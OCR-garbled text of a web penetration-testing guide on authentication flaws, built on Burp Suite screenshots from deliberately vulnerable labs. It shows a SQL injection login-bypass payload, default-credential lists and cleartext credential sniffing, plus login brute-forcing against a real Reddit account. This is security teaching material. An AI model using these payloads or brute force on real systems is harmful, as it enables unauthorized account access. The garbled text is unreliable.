Ethernet II, Src: Vmware_d3:39:c8 (00:0c:29:d3:39:c8), Dst: Vmware_5d:2a:56 (00:0c:29:5d:2a:56)
Internet Protocol Version 4, Src: 192.168.222.148, Dst: 192.168.222.136

Transmission Control Protocol, Src Port: 49000, Dst Port: 80, Seq: 1, Ack: 1, Len: 578
Hypertext Transfer Protocol

vvwvw

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n

Accept-Encoding: gzip, deflate\r\n




©@® 4 m O xo Qe» 075 8¢ EEH aaaal[ @M

Filter: http.request.method == "POST" w Expression... Clear Apply Save
No . Time Source Destination Protocol Length Info
125 6.747664000 192.168.222.129 192.168.222.136 HTTP 671 POST /dvwa/login.f

-~ )
» Frame 125: 671 bytes on wire (5368 bits), 671 bytes captured (5368 bits) on interface 0

» Ethernet II, Src: Vmware_f4:f3:27 (00:0c:29:f4:f3:27), Dst: Vmware_8f:ca:00 (00:0c:29:8f:ca:00)

» Internet Protocol Version 4, Src: 192.168.222.129 (192.168.222.129), Dst: 192.168.222.136 (192. 16§
» Transmission Control Protocol, Src Port: 39248 (39248), Dst Port: 80 (80), Seq: 952, Ack: 1816, Lg¢
» Hypertext Transfer Protocol

v HTML Form URL Encoded: application/x-www-form-urlencoded

» Form item: "username" = "admin"
» Form item: "password" = "admin"
» Form item: "Login" = "Login"

Example 2: Sending data with GET/POST method through HTTPS

Suppose that our web application uses the HTTPS protocol to encrypt the data we are sending (or
at least for transmitting sensitive data like credentials). In this case, when logging on to the web
application the header of our POST request would be similar to the following:

Pe https://www.vietcombank.comvn POST /IBanking2015/55c3c0a782b739e063ef... v 200 9296 HTML ADAOng nha®-p
«

Request | Response

Raw | Params | Headers | Hex

POST /IBankingZ0l5/55c3c0a782b73%e063efagds985elab4/Account/Login HTTP/1.1

Host: www.vietcombank.com.vn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:58.0) Gecko/Z0100101 Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.vietcombank.com.vn/IBanking2015/55c3c0a782b739e063efa%d5985e2ab4/Account/Login
Content-Type: application/x-www-form-urlencoded

Content-Length: S0

Cookie: ASP.NET_Sessionld=jsmcqo3wSf4jwixs30sfcull; _ga=GALl.3.62656212.1519289397; _gid=GAl.3.1276097128.1519289397; _gat=1; _cultureValue=vi-VN
Connection: close

Upgrade-Insecure-Requests: 1

source=gusername=abcépass=abc&captcha=383Bé&captcha-guidl=3e23b29£543443d791366457da208cl8

Example 3: sending data with GET/POST method via HTTPS on a page reachable via HTTP

Imagine we having a web page reachable via HTTP and that only data sent from the
authentication form are transmitted via HTTPS



Raw | Params | Headers E /E Headers E HTML | Render
|

GET /367484971926835948767215316604991514356/1ogin?uid=adninépw=adnin A
HTTP/1.1 r
lows NT 10.0; Winé4; x€4; rv:58.0) HOme Si n in I Sl nu
/xhtml+xml,application/xml;q=0.9,%/*;¢=0.8
-5
.
Gruyere: Login
re-Requests: 1
max-age=0
’ Invalid user name or password. |
User name:
Password:
Login
L
v
N (=) (=) (= e a search te 0 matches

We can see that our request is addressed to www.example.com/login using HTTPS. But if we have
a look at the Referer-header (the page from which we came), it is www.example.com/ And is
accessible via simple HTTP. Although we are sending data via HTTPS, this deployment can allow
SSLStrip attacks (a type of Man-in-the-middle attack)

Randomizing 255 hosts for scanning..
Scanning the whole r k for 255 hosts..
| 100.00 %

4 hosts added to the hosts 14
Starting Unified sniffing.

Text only Interface activated,
Hit 'h* for inline help

HTTP : 172.217.24.52:80 -> USER: admin PASS: admin INFO: http://google-gruyere
.appspot.com/36748497192683594876 5316604991514356/10gin

HTTP : 74.125,130,153:80 -> USER: adm admin INFO: /3 719268359487
67215316604991514356/1ogin7uid=admin&pw=admin

You can see that the data is transferred in clear text in the URL and not in the body of the
request. But we must consider that SSL/TLS is a level 5 protocol, a lower level than HTTP, so
the whole HTTP packet is still encrypted making the URL unreadable to a malicious user using a
sniffer. Nevertheless as stated
before, it is not a good practice to use the GET method to send sensitive data to a web
application, because the information contained in the URL can be stored in many locations such
as proxy and web server logs.

2. Testing for default credentials

How to Test

Testing for default credentials of common applications



[1  Try default usernames such as: admin, administrator, root, system, guest, operator, superuser.



[2] £ Request to https://phpapp.infosecaddicts.com:443 [104.25.166.6)

[ Forward ] [ Drop ] [ Intercept is on J [ Action ]

Raw Im Headers | Hex

POST request to /authenticate.php

Type | Name | value

Cookie __cfduid dc6029645e59a793349b3h819dae03f6e1564954288
Cookie _ga GA1.2.781573113.1564954291

Cookie _gid GA1.2.631839643.1564954291

Cookie PHPSESSID apk77s2jhpg4lfrgs1jnge0gk2

Cookie __auc 4e20d75b16c5e988eal3Shlalaf

Cookie __tawkuuid ezinfosecaddicts.com::AptkfxgFFEGWh88K8Tq8ZwvukfPHURU 5Z9KZtd825wOcntFQ sgNYBMx4cBhX//::2
Cookie __stripe_mid b53f835b-625c-4a04-8fe8-075c7bbca7cf

Cookie _fbp fb.1.1564955153850.417041806

Cookie _gat 1

Body username [123456

Body response be263940a19f635f645cc641bfeSh17d

Application administrative users are often named after the application or organization. It mean if
you are testing an application named “ABC”, trying abc/abc or any other similar combination as
username and password.

!ACMELAPT opP

- &Egy Register

a0 USERNAME: I
PASSWORD: I

att Login

vay

No User found, please register .

ba




Target | Proxy | Spider | Scanner Tlntruder TRepeater TSequencer TDecoder TComparer TExtender T Project options TUser options | Alerts

Encode as ...

Hash ...

|v

| Smart decode

@® Text O Hex @

Decode as ... |w

J

webgoat webgoat @® Text O Hex
Decode as ...
Encode as ...

Hash ...

v

| smart decode

J

] Using above username with blank passwords.

Welcome to phpMyAdmin 2.6.4-pi3

MySQL 5.0.15 running on localhost as root@localhost

phpiiyAdmin
el hpMyAdmin
S4E00 phpMy

Database: MySQL phpMyAdmin
i@gtgibais ‘" M ‘i Create new database: @ ¢ Language @: English (en-utf-8) ¥
e C LT 7] MySQL charset: UTF-8 Unicode (utf3)
Please select a database | % Show processes @ MySQL cti lation: [utfa Ga Ve

Character Sets and Collations s connection collation: | uf6_general _ci :

@ Theme / Style: | Original v

£ Storage Engines Bl ol

Databases ﬂ phpMyAdmin documentation

& Export f} Official phpMyAdmin Homepage
[ChangeLog] [CVS] [Lists]

four configuration file contains settings (root with no password) that correspond to the default SQL server is running with this default, is open to
intrusion, and you really should fix this security hole. D}

[1 Review the page source code and JavaScript, Look for account names and password written in

comments.
~/BCript”
</head>
<body topmargin="0" leftmargin="0">
<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="25%"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>

<td align="center"><img src="images/logo.bmp” alt="online buy" width="189" height="72"></td>
<td width="20" align="right">&nbsp;</td>

</tr>

</table></td>

<td><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td>

<table width="100%" border="0" cellspacing="3" cellpadding="0">

<tr>

<td align="center" class="lebals_txt_red_big"><strong> Hey ! SHincbibUghUunteé¥ Wel-Come</strong></td> </tr>
<tr>

</tr>

] Check for configuration files that contain usernames and passwords.



& root@192.168.222.136 [ New Session

£ My documents = L% phpmyadmin ~ [= <+ - @ & | FindFiles | P
£ New ~ E@ Download ~ [} Edit ~ 3 =7 [ Properties | £ New - =
C:\Users\manhpham\Documents\ /etc/phpmyadmin/
Name Size Tvpe Chanaed Name Size Changed Rights Owner
| [7 /etc/phpmyadmin/config-db.php - root@192.168.22...  — o X a. 2/23/2018 10:07:38 AM PWF-XT-X root
@ EEJ * X@l»o &8 egc =] | Encoding ~ » || apache.conf 1KB  4/14/2010 3:31:35 PM W-r=-r-- root
## Dy JUSF/ SO/ UDCONT IE-EeNerate-InCIuge S ~_MUconfig.foc»teninc.php 1KB  7/5/2009 11:42:49 PM W-r--r-- root
## Mon, 11 Oct 2010 15:16:29 -0400 | config.header.inc.php 1KB  7/5/2009 11:42:49 PM W-r--r-- root
B <162 —
_ config.inc.php 4KB  1/3/2010 9:46:05 PM TW-r-=r-- root
Econfig-db.php 1KB  10/12/2010 2:16:29 AM TW-r===-= root
|| htpasswd.setup 1KB  8/24/2009 8:36:36 AM W-r----- root
|_] lighttpd.conf 1KB  7/5/2009 11:42:49 PM wW-r--r-- root
|| phpmyadmin.service 1KB  10/19/2009 10:25:38 PM W-r--r-- root

$dbname="phpmyadmin” ;
$dbserver="";
$dbport="";
$dbtype="mysql";

<
Line: 15/19

>

Encoding: 1252 (ANSI - L&

v

[1  Check for password hints.

® 192.168.222.1 36/cyclone/

CYCLONE TRANSFER

A new way to transfer money to your friends!

Sign Up!

oo @ 1 | Q ton=View+Account+D —>

CAUTION: This is an intentionally broken web application.
Please do NOT use any real information

Account: You can sign up on your own, or use an existing one
user: cycloneuser-3@cyclonetransfers.com

password: password

] Testing for default password of new accounts?
Tools

(] Burp Intruder

(] Hydra

(] Nikto

(] Medusa
References

[J CIRT http://www.cirt.net/passwords

3. Testing for Weak lock out mechanism



Overview



Account lockout mechanisms are used to mitigate brute force password guessing attack. Account
are typically locked after 3 to 5 unsuccessful login attempts and can only be unlocked after a
predetermined period of time, via a self-service unlock mechanism, or intervention by an
administrator. Account lockout mechanisms require a balance between protecting accounts from
unauthorized access and protecting users from being denied authorized access.

Test Objective

e Evaluate the account lockout mechanism’s ability to mitigate brute force password guessing

e Evaluate the unlock mechanism’s resistance to unauthorized account unlocking.

How to test

] Using Burp Intruder & Burp Repeater to Brute force target site

Target | Proxy | Spider | scanner | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

1 2 4
Target | Positions | Payloads | Options |

(@) Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

&

[GET Jbookdstall.aspx?id=51s HETF/1.1 2 Adds
Host: aspdotnatapp.infosecaddicta.com ,
Accept-Encoding: gzip, deflate

Accepe: /% Clear §
Bocept-Language: en

vaer-agent: Hozilla/5.0 (compatible; MSIE 9.0; Windows WT 6.1; Winéd; x64; Trident/5.0)
Connection: close Auto §
Referer: httpa://aspdotnetapp.infosecaddicta.com/Default.aspx

Cookie: _cfduid=dc6029645059a793349b3b819das03f6e1564954288; _ga=GAl.2.781573113.1564054201; _gid=GAL.2.631830643.1564954291; Refresh
ek7Ta2 shogi Lexga L ngatgkz; auc=4520d75b16c5598833125b1a1af; (i

cta.com: :Ap CNEPQ+SgNYBHXACBNX//1:2; _ atripe mid=bS3f835b-625c-4a04-8£88-075cTbbeaTef;
“fbp=tb. L. 1564355 159980.4 1704 1206; _gat=1

<

Target | Proxy | spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
1« [l .

Go ncel <Iv > Target: hups://phpapp.infosecaddicts.com |#(7]

Request Response
™ ex (R e | iex | v | ender |
Accept: text/m:ml ipplwncxun/xhtmloxml,applxcatxun/xml g=0.9,%/*;q=0.8 X-Powars ad-Ey FNP/
o e Tereasr a1 ey 1961 oses2:00 ar
e in: Shi, defiece BEheintusts o-stora, noscashe, mest-revalidate, poat-shesksd, pra-chackso
B T e ea— Fratmas noroning
D e g I S T At o S ST SoTane s ieadate-acs
e R e e 1

Upgrade-Insecurs—Requests: 1
Cache-control: max-age=|

1 3,01 Pransitional//Ew"

<hemichaads
<titlovcme laptops/itles

<mata he " content="text/html; charsst=iso-8850-1">

<acript /
P M T M T e
33301000561 12000 004 90—t ers Jevencr pt
22901065264 1200008 14 980-text/ Javazcr
function lo
vor loginroin = document. gatelementoyrd(*loginforn”);
if (loginform.usermame.valis == "*)
alart("elaase enter your user name.');
raturn false;

mdS. Ja"></acript>

)
if (loginform.password.valia == "*) {

alart("plassa enter your password.”);
b ratum falsaj L
' v

3
var submitrorm = document.aatElementovId( “submitrorm”):

EBESIESEN] 0 matches 2 L= Lr ) (L2 [Tvpe asearch term 0 matches



[ JON ) Intruder attack 2

Attack Save Columns

_[MT Target T Positions T Payloads T Options ]

| Filter: Showing all items

Request 4 | Payload | status | Error | Timeout | Length Comment
0 200 (@] 12291

1 r | 500 a g 5917

2 admin 500 @) O 5691

3 login 500 a O  s691

4 sign-in 500 g @] 5735

5 Yor1=1-- 500 a O 5997

Iml Response I

Iml Params THeaders THex ]

GET /bookdetail.aapx?id=' HTTP/l.l
Hoat: aspdotnetapp.infosecaddicta.com
Accept-Encoding: gzip, deflate
Accept: */*

Accept-Language: en

User-Agent: Mozilla/S.0 (compatible; MSIE 9.0; Windowa WT 6.1; Winéd; x64; Trident/S5.0)

Connection: cloae
Referer: httpa://aapdotnetapp.infosecaddicta.com/Default.aapx

Cookie: _ cfduid=dcé029645e59a793349b3b819daelidf6el564954288; ga=cAl.2.781573113.15649542391;
_Qid=CAl.2.631839643.156495429]1; PHPSESSID=apk77a2jhpgdlfrgalingelgk2; _ avc=4e20d75blécS5ed88ealidSblalaf;
tawkuvid=e::infosacaddicta.com: : AptkfxgFFEGRh 88KETQE8wvukfPHURU+589KE td 82 5w0cn tFQ+agNYBMxdcBhX//1:2;




Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /ahowfile.php?filename=contactus.txt HTTP/Ll.1 A A
Host: phpapp.infosecaddicts.com = =
User-Agent: Nozilla/S.0 (Macintosh; Intel Mac 0§ X 10.13; rv:i68.0) Gecko/20100101
Firefox/68.0 ‘ Register
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/+;q=0.8
Accept-Language: en-US,en;q=0.
Accept-Encoding: gzip, deflate
Referer: httpa://phpapp.infosecaddicta.com/
Conmections Hlome Home Bu: Career About us Contact
Cookie: _ cfduid=dc6029645059a793349b3b819dae0if6e1564954288;
_9a=GAl.2.781573113.1564954201; _gid=Gal.2.631839643.1564954291; > Acer
PHPSESSID=apk77a2 jhpgd 1frgalingelgk?; _ auc=4e20d75bléc5e988ealaSblalat; contactus
__tawkunid=e::infosscaddicts.com:: u Swocn£FQ+ > Compaq
BgUYBxACBhX//::2; _ atripe_mid=bS3f835b-625c-4a04-8fe8-075cTbboaTof
_fbp=fb.1.1564955153850.417041806; _gat=1 > Dell
Upgrade-Inascure-Regueata: 1
cache-Control: max-age=0 > Gateway
> Hewlett ) .
1116 Old Brike Road, Kensas City, MA
> Ibm
Phone - 1-800-LAPTOP
> Sony
Email - [email protecte
> Toshiba [ L4 dl
http://acmelaptop.com
Home | Contact| Login |
3
v .
e -

[] Review source code

<form method="POST" name="fname" action="">
<table>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/htmld4/loose.dtd">
<html><head>
<title>Acme laptop</title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="description" content=" online buy">

<meta name="keywords" content=" online buy">
<META name="expires" content="never">

<link href="style/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" srec="md5.]js"></script>

<script type="text/javascript">
function login() {

var loginForm = document.getElementById("loginForm");
if (loginForm.username.value == "") {

alert("Please enter your user name.");

return false;

if (loginForm.password.value == "") {
alert("Please enter your password."”);

return false;

}

var submitForm = document.getElementById("submitForm");
submitForm.username.value = loginForm.username.value;

submitForm.response.value =

hex_md5 (loginForm.challenge.value+loginForm.password.value);

submitForm.submit();

</script>
</head>
<body topmargin="0" leftmargin="0">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="25%"><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td align="center"><img src="images/logo.bmp" alt="online buy" width="189" height="72"></td>

<td width="20" align="right">&nbsp;</td>
</tr>
</table></td>

<td><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="69"><img src="images/index 05.gif" alt="online buy" width="69" height="72"></td>

Make sure website have accout lockout policy — Test for an account indeed lock after a certain

number of fail login




Sign up to get your own
personalized Reddit experience!

By having a Reddit account, you can subscribe, vote, and
comment on all your favorite Reddit content. Sign up in just
seconds.

LOGIN

mustafkerrigan

Don't have an account? Sign up | Reset password

you are doing that too much. try again in 4 minutes.

B\4ou are doinguthat too much. t%g ain in 4 minutes

signing up, you agree to our ITerms atyou have read our Privacy
Policy and Content Policy.

[] Make sure application response limited timeout for user and verify limited timeout is correctly

298 httbs:/lwww,reddit.:om POST | /api/login/mustafkerrigan | [El O 200 1004  JSON @ 151.101.9.140 session_tracke.
299 https://e.reddit.com POST A2 €] 8] 200 596 ¥ 151.101.9.140
« - - T

u&ﬁﬁ'«‘ﬁﬁa& Response
J&y_., Params | Headers | Hex

101d=00000000000q Lwysma. 2. 1514970310044 . ZOFBQUFBQFUSNpHT mSybk VVQXpWMnZpbzZ6w) BCZGs 4ZWLUZGR] Y V] eGRVD LNYWT LLUj MveF JM3pveX| EdmRtal8] TORAUUNF ZmcwaTNLT 2UNR2gy ZGFI MmpahD
Uik JRZXNMbER2VT U3UXVEUL VhQuxPd2RKNGL2QmxY LVULUKRhRUSwe VZf X2E;

session_tracker=CydSjB9444sgnligZg. 0. 1514970325091 . ZOFBQUFBQMFUSNpWSHBELUZwQMRL LVdMMk Z6TE8wb XhRik xoMOJ 1 LURVeT LNaWFX vk FEZVPWdVVyMEFHML T Rk 9QNmIBRXpQSHgzSUI U VBe jdazld
GUFF0a01 aaEQUX2pLNXZGM1BKMONNZGSqMz LT jk 2TDVBZ3dDT ZNNZnJMRnVpOEFqMVZqQus; edgebucket=ePAHOQEkp2eeNznLrii; _ga=GAl.2.840053848. 1514970316;
_g1d=GA1.2.886753124.1514970316; pc=y4; _ utma=S5650728.840053848. 1514970316. 1514970318.1514970318.1; _ utmb=55650728.0.10.1514970318; _ utmc=55650728;
__utmz=55650728.1514970318. 1. 1.utmesr=(direct) |utmcen=(direct) |utmemd=(none); _ gads=ID=5dfefbde215800al:T=1514970324: S=ALNI_Mb69erGETELTQXYNG- zQhp_DPHzkw;

_ utmli=login-form

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

op=Llogin&user=mustafkerrigan&passwd=11111&r

yes&apl_type=json



298 https://www.reddit.com POST  [/apiflogin/mustafkerrigan | @ O 200 1004  JSON [ 151.101.9.140 session_tracke.
299 https://e.reddit.com POST A2 @ 7] 200 596 @ 151.101.9.140
1S > L

Request | Response
Raw | Headers | Hex

Content-Length: 99

Accept-Ranges: bytes

Date: Wed, 03 Jan 2018 09:11:24 GMT
Via: 1.1 varnish

Connection: keep-alive

X-Served-By: cache-s1n18023-SIN
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1514970684.860476,VS0, VES21
Server: snooserv

{"json": {"errors": [["INCORRECT_USERNAME_PASSWORD", "incorrect username or password", "passwd"]]}}

321 https:/fwww.reddit.com POST  /apiflogin/mustafkerrigan U} [J 200 1030  JSON

[« 7
Response
Raw | Headers | Hex

X-Moose: majestic
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Content-Length: 124

Accept-Ranges: bytes

Date: Wed, 03 Jan 2018 09:17:01 GMT
Via: 1.1 varnish

Connection: keep-alive

X-Served-By: cache-s1n18028-SIN
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1514971021,732954, VS0, VES32
Server: snooserv

{"7son": {"ratelimt": 179, "errors": [["RATELIMIT", "you are doing that too much. try again in 2 minutes.", "ratelimt"]]}}

329 https://www.reddit.com POST  /apiflogin/mustafkerrigan @ [J 200 1385  JSON

330 https://www.reddit.com GET Juser/AllYourEyez 0 O 200 122260 HTML overview for AllYour...

331 https://e.reddit.com POST M2 @ 0 200 59

[« e

Response
Raw | Headers | Hex

Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Content-Length: 205

Accept-Ranges: bytes

Date: Wed, 03 Jan 2018 09:22:32 GMT
Via: 1.1 varnish

Connection: keep-alive

X-Served-By: cache-sin18023-SIN
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1514971351,260291, VS0, VESGE
Server: snooserv

{"yson": {"errors": [], "data": {"need_https": true, "modhash": "qdxxx26v0zc3439a64184bead9d0el36bcdect27e3bbh946565", "cookie"
"33658984317, 2018- 01- 03T01: 22: 31, 6880d8f 7a6243b2f f 48e5169372bddbeef339c98" } 1}

[1 Make sure application warn user when they are approaching lockout thread hold
[1 A CAPTCHA may hinder brute force attack, but they can not replace a lockout mechanism.



Username

https://www.zotero.org/<username>

Email
Confirm Email
Password

Verify Password

\/ I'm not a robot

[J Try for bypass lockout time out
[] List all ways to unlocked account of website, Make sure they are secure

4. Testing for bypassing authentication schema

How to test

[]  Parameter modification
When the application verifies a successful log in on the basis of a fixed value parameters.

A user could modify these parameters to gain access to the protected areas without
providing valid credentials.

&« C ® @ @& https://phpapp.infosecaddicts.com/chekout.php e @ e Iy v oIN @ ’ &
Hey ! Shinobibughunter Wel-Come
ACMELAPTOP
Coore e T
> Acer
BUY
> Compaq
> Dell Fill buy on Acme
> Gateway . .
— Hidden field [bidamount] 2z
> Ilbm
> Sony {ter Name: |H|dden Tield [ltemname] delll
> Toshiba dell
Name: [Hidden field [Biddername] srrosmsmrer
shinobibughunter
E-mail: IHldden Tleld lema"] shinobibughunter@gmail.cor
shinobibughunter@gmail.com
Phone No: |H|dden field [phone] aizazaze0s
3144237606
Quantity: 1 a




Raw | Params | Headers | Hex

POST favthenticate.php HTTR/L.1l

Hoat: phpapp.infosecaddicts.com

Uaer-Agent: WMozilla/5.0 (Macintosh; Intel Mac 0S8 X 10.13; rv:68.0) Gecko/20100101 FPirefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,+/%;g=0.8

Accept-Language:
Accept-Encoding: gzip,
Referer: httpa://phpapp.infosecaddicts.com/login.php?error=Invalid+Usser-Nameguasrname=123

Content-Type: application/x-www-form-uvrlencoded

Content-Length: 54

Connection: cloae

cookdi cfduid=dc6029645059a793349b3b819dae03f6a1564954288; _ga=GAl.2.781573113.156495429]1; PHPSESSID=apk77a2jhpgdlfrgalijngelqk2; __ auc=4e20d75blécS5ed88ealiSblalaf;
__tawkuoid=e::infosecaddicts.com: : AptkfxgFFEGKh88KETQEswvukfPHURY+58 9KS £d 82 5w0cn EPQ+3QNYBHXdCBhX/ /1 :2; _ atripe_mid=b53£835b-625c-4a0d -8fa8-075c Thbcatct;
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1555835408.1565230129; _gat=1

Upgrade-Insecurs-Requesta: 1

vasername=1l23kreaponse=bd Lb6589e861250350d3afa0755b8735



JmT Params T Headers T Hex ]

POST favthenticate.php HTTP/L.1l

Hoat: phpapp.infosecaddicta.com

User-Agent: Mozilla/5.0 (Macintosh; Intsl Mac OS X 10.13;
Accept: text/html,application/xhtml+xml,application/xml;g=
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Refere:
Content-Type: application/x-www-form-vrlencoded
Content-Length: 54

Connection: close

Cookie:
__tawkooi rinfosecaddicta.com:
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1555835408.1565230129; _gat=1
Upgrade-Insecurs-Requesta: 1

.9,%/%;q=0.8

=123k 1bé&s

- Register

1250350d3afa0755b8735

httpa://phpapp.infoascaddicta.com/login.php?error=Invalid+Uasr-Namekussrname=123

cfduid=dc6029645659a793349b3b819das03f661564954288; _ga=Gal.2.781573113.156495420]; PHPSESSID=apk77s2jhpad 1frgslingslgk?;
AptkfxgPFEGRhSEKETqEswvykEPHORU+580KE £d 82 Swocn £PQ+agNYEHXACBh X/t

rv:68.0) Gecko/20100101 Firefox/68.0

__auc=4e20d75bléc5e988ealiSblalaf;
2; __atripe_mid=b53f835b-625c-4a04-8fe8-075cTbbca’ct;

S T T - W T 7 W S =¥ S_—

USERNAME:

PASSWORD:

Hidden field [challenge] seascossscesscessiors

[] Session manipulate

fs ]
e ]

Login

No User found, please register .



_| mierespt | HTTP history | WebSockets history | Options |

#| Requestto http://192.168.222.136:80

l Forward J l Drop J ( Intercept is on } Action

Raw | Params | Headers | Hex

GET /mutillidae/index.php?popUplotificationCode=AUL HTTP/Ll.1
Host: 192.1€68.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; xE4; rv:57.0) Gecko/Z01l00101 Firefox/57.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168. .136/mutillidae/index.php?page=login.php&popUpNotificationCode=LOUL

Cookie: showhints=1l; username=user; uid=23; PHPSESSID=€4jl9fedqjbtimcpdvovgvkbql; acopendivids=swingset,b jotto,phpbbl, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Recuests: 1

Cache-Control: max-age=0

Go Cancel < v > v Target: http://192.168.222.136 |,
Request Response
[ Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

HTTP/1.1 200 OK

e foquost i (rxtidaondcxphe Date: Mon, 15 Jan 2018 10:45:08 GMT

Type | Name | value | o Server: Apache/2.2.14 (Ubuntu) mod mono/Z.4.3 PHP/S.3.2-lubuntud.30 with Suhosin-Patch
- proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
URL popUpNotificationCode AUt — Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/vs.10.1
Cookie showhints 1 Remove X-Powered-By: PHP/S.3.2-lubuntud.30
Cookie username user Logged-In-User: admin
Cookie uid 1 w Vary:./Accept-Encoding
Cookie PHPSESSID 64j9fedqibtimepévovavkbal Content-Length: 46120
— Connection: close
[ pown J Content-Type: text/html

SQL Injection

SQL Injection is a widely known attack technique. This section is not going to describe
this technique in detail as there are several sections in this guide that explain injection
techniques beyond the scope of this section.

Raw | Params | Headers | Hex

POST favthenticate.php HTTP/Ll.1l

Hoat: phpapp.infoasecaddicta.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 1l0.13; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/heml,application/xheml+xml,application/xml;g=0.9,*/*;3=0.8

Accept-Language: en-Us,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://phpapp.infosecaddicta.com/login.php?error=Invalid+User-Namekuaername=123

Content-Type: application/x-www-form-vrlencodad

Content-Length: 54

connection: cloae

Cookie: _ cfduid=dc6029645059a793349b3b819daelif6el564954288; _ga=CAl.2.781573113.156495429]1; PHPSESSID=apk77a2jhpgdlfrgaljngelgk2; _ avc=4e20d75blécSed
__tawkopid=e::infoaecaddicta.col AptkfxgFFECWh88KETga8wvukfPHURU+589KE £td 825w0Cn tPO+agNYBMxdcBhX /1 :2; _ atripe mid=b53f835b-625c-4a04-8fe8-075cTbbcaTct
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1555835408.1565230129; _gat=1

Upgrade-Inaacure-Requeata: 1

psername=123kreaponae=bd lb6589e821250350d3afa0755b8735

Raw | params | [ e |

POST fauthenticate.php HTTP/L.1

Host: phpapp.infoasscaddicta.com

User-Agent: Mozilla/S5.0 (Macintosh; Intel Mac OS X 10.13; rv:68.0) Gecko/20l001l01 Pirefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://phpapp.infosscaddicta.com/login.php?error=Invalid+User-Namekusername=123

content-Type: application/x-www-form-vrlencoded

Content-Length: 54

Connection: cloas

Cookie: _ cfduid=dc6020645859a793349b3b819dae0df6al564954288; _ga=GALl.2.781573113.156495429]; PHPSESSID=apk77a2ihpgdlfrgalingelgk?; _ auc=de20d75bléc5ed88ealiSblalaf;
__tawkouid=e::infoascaddicta.com: : AptkfXgFFEGKWh 88KBTg38wvukEPHURU+589KE £d 82 5w0cn tFQ+a3gNYBMXACBhX//1:2; _ atripe_mid=b53f835b-625c-4a04 -8fe8-075cTbbcaTcf;
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1555835408.1565230129; _gat=l

Upgrade-Insscure-Requeata: 1

bsername=a’ or 1=l - - + Lreaponse=a’



[ Original request T Edited request T Response ]

_[ Raw T Headers T Hex T HTML T Render ]

HTTP/1.1 302 Found

Date: Mon, 15 Jan 2018 08:4Z2:03 GMT
Server: Apache/Z.2.14 (Ubuntu) mod mono/Z.
mod_perl/Z.0.4 Perl/v5.10.1

X-Powered-By: PHP/S5.3.Z2-lubuntu4.30
Set-Cookie: username=adnin

Set-Cookie: uid=l

Location: index.php?popUplNotificationCode=AUl
Logged-In-User: adnin

Vary: Accept-Encoding

Content-Length: 50385

Connection: close

Content-Type: text/html

Direct page request (Forced Browsing)

4.3 PHP/S5.3.Z-lubuntu4. 30

If a web application implements access control only on the log in page, the authentication

schema could be bypassed.

< )G

Choose another language: | English v

® 192.168.222.136/WebGoat/attack?Screen=378

¥menu=1400

Logout Q

Forced Browsing

OWASP WebGoat v5.4

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency

Cross-Site Scripting (XSS)
Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration

Forced Browsing

Solution Videos

OWASP Foundation

Project WebGoat

Restart this Lesson

* Your goal should be to try to guess the URL for the "config" interface.
* The "config" URL is only available to the maintenance personnel.
* The application doesn't check for horizontal privileges.

Can you try to force browse to the config page which should only be accessed by
maintenance personnel.

Created by Sherif

Report Bug

Koussa SOftwareSEcurep

Follow redirection

Request

